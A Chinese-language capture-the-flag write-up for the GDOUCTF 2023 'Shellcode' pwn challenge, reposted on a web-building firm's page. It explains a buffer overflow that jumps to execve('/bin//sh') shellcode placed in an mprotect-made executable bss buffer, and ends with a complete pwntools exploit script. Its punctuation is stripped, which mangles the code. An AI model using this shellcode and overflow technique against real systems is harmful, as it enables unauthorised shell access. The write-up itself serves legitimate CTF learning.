拓冰建站拓冰建站
首页 / 资讯中心 / 正文

[GDOUCTF 2023]Shellcode的解法参考

这是一道shellcode的题先看看ida看到main函数里有两次read函数输入第一次输入到了name这个地方第二次输入到了栈里双击name发现name在bss段bss 段默认只可读写、不可执行因为上面的mpropect函数让bss段可执行具体原理ai是这么说的main 开头调用了 mprotect把它所在的内存页改成了 RWX程序先取 stdout 的地址0x601060也在 bss 段与 ~0xfff 做页对齐得到页基址 0x601000然后调用mprotect(0x601000, 0x1000, 7)。第三个参数 7 读(1) 写(2) 执行(4)长度 0x1000 正好一页。name 在0x6010A0落在这页0x6010000x601fff内所以 name 这块内存变成了可写又可执行的区域——我们的 shellcode就有地方放了。我们的思路就是第一次read函数输入shell的机器码放到name这个变量里第二次read函数先填充然后覆盖返回地址跳转到name执行我们写的机器码。首先写shell的机器码用到了pwntools带的asm工具我们需要在工具里写汇编shellcodeasm( mov rdi,0x68732f2f6e69622f xor rsi,rsi xor rdx,rdx mov rax,59 push rsi push rdi push rsp pop rdi syscall )汇编第一行的意思是rdibin//sh,右边这个0x的东西是bin//sh的ASCII码bin//sh的效果和bin/sh的效果是一样的因为Linux内核把双斜杠//当斜杠/处理这里是多写了一个/是用来凑8字节的不在最后多写一个0凑是因为写0机器码里就会有一个0x00如果是scanf函数就会会停止读取这题是read函数所以没影响第二三行就是把rsi和rdx设置成0第四行的意思是把rax设置成59对应execve函数的系统调用号然后把rsi压入栈也就是把0压入栈作为bin//sh的终止符然后把rdi里存的bin//sh的ASCII码压入栈此时栈顶是bin//sh的ASCII码再push rsp就是把栈顶地址也就是bin//sh的ASCII码的地址压入栈pop rdi就是弹出栈顶的存的值让rdi等于栈顶的值字符串地址这样操作rdi就等于bin//sh0的地址了最后再syscall一下这个shellcode的效果就是execve(bin/sh,0,0)了ru(Nice to meet you.\n) ru(Lets start!\n)然后接收一下两个输出准备写payloadpaddingba*0x12 name0x6010A0 payloadpaddingp64(name)先计算填充多少注意缓冲区是0x10再加上rbp的8padding0x18是错的因为双击buf发现read函数不是从栈底开始读的而是从-0xa开始读的所以填充0xa80x12之后覆盖返回地址跳转到name就可以执行我们之前写的shellcode了就成功了最后附上expfrom pwn import * s lambda data : io.send(data) sa lambda delim, data : io.sendafter(str(delim), data) sl lambda data : io.sendline(data) sla lambda delim, data : io.sendlineafter(str(delim), data) r lambda num : io.recv(num) ru lambda delims, dropTrue : io.recvuntil(delims, drop) itr lambda : io.interactive() uu32 lambda data : u32(data.ljust(4, b\x00)) uu64 lambda data : u64(data.ljust(8, b\x00)) context.log_level debug context.arch amd64 context.binary binary ./pwn context.terminal [tmux, splitw, -h] gdbscript def start(argv[], *a, **kw): if args.GDB: proc process([binary] argv, *a, **kw) gdb.attach(proc, gdbscriptgdbscript) return proc elif args.REMOTE: return remote(node4.anna.nssctf.cn,26260) else: return process([binary] argv, *a, **kw) elf ELF(binary) libc ELF(./libc.so.6) rop ROP(elf) io start() paddingba*0x12 name0x6010A0 shellcodeasm( mov rdi,0x68732f2f6e69622f xor rsi,rsi xor rdx,rdx mov rax,59 push rsi push rdi push rsp pop rdi syscall ) s(shellcode) ru(Nice to meet you.\n) ru(Lets start!\n) payloadpaddingp64(name) s(payload) itr()
分享:

看完干货,该让你的企业上线了

免费需求沟通 · 48 小时内出具建站方案 · 河南本地可上门